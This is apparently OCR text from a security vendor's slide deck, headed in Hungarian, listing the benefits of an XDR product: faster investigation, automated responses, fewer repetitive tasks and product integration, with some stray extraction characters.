MEGBIZHATO KAPCSOLAT
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XDR outcomes

Investigate

Reduce time to investigate by
automating data collection and
Incident generation

Respond

Automated or one-click
responses that can combine
multiple products in one action

J

Simplify
Eliminate repetitive tasks that
waste valuable analyst time

Integrate

Bring products and services
together in new ways to address
emerging threats

~

_/

2
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Thank Youl!
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